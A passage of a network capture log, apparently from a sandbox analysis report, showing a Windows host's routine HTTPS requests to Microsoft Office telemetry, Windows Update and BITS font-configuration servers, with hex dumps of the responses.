2024-11-28 01:27:26 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 14e4a643-101e-007a-3c66-40047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012727Z-174f7845968swgbqhC1EWRmnb40000000xw000000000bf25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:27 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49780	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:28 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 01:27:28 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=23780 Date: Thu, 28 Nov 2024 01:27:28 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49779	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:28 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MR3za6bfP2Ux6u5&MD=awHTx8PN HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-28 01:27:29 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: a038b033-00ed-496a-b7f8-fd8e1ee560cb MS-RequestId: 4cc97486-f6ce-46b7-8146-5fdda7acc0ed MS-CV: KKtOtR/r9USHzONZ.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Nov 2024 01:27:28 GMT Connection: close Content-Length: 24490
2024-11-28 01:27:29 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-28 01:27:29 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:28 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012729Z-174f7845968qj8jrhC1EWRh41s0000000xn000000000dybw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012729Z-174f78459685m244hC1EWRgp2c0000000xgg00000000f5mr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:29 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012729Z-174f7845968jrjrxhC1EWRmmrs0000000xxg000000006tdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012729Z-174f7845968vqt9xhC1EWRgten0000000xpg00000000kxea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012729Z-174f7845968l4kp6hC1EWRe8840000000y2g0000000028us x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49789	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:30 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 01:27:30 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0SyaoYgAAAACHM3u5nQtYS605XTu+5FyaTE9OMjFFREdFMDIxMgBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=89624 Date: Thu, 28 Nov 2024 01:27:30 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-28 01:27:30 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:31 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:31 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012731Z-174f7845968cdxdrhC1EWRg0en0000000xn000000000g8za x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:31 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012731Z-174f7845968qj8jrhC1EWRh41s0000000xn000000000dyg0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012731Z-174f78459688l8rvhC1EWRtzr00000000ad0000000003rky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:31 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
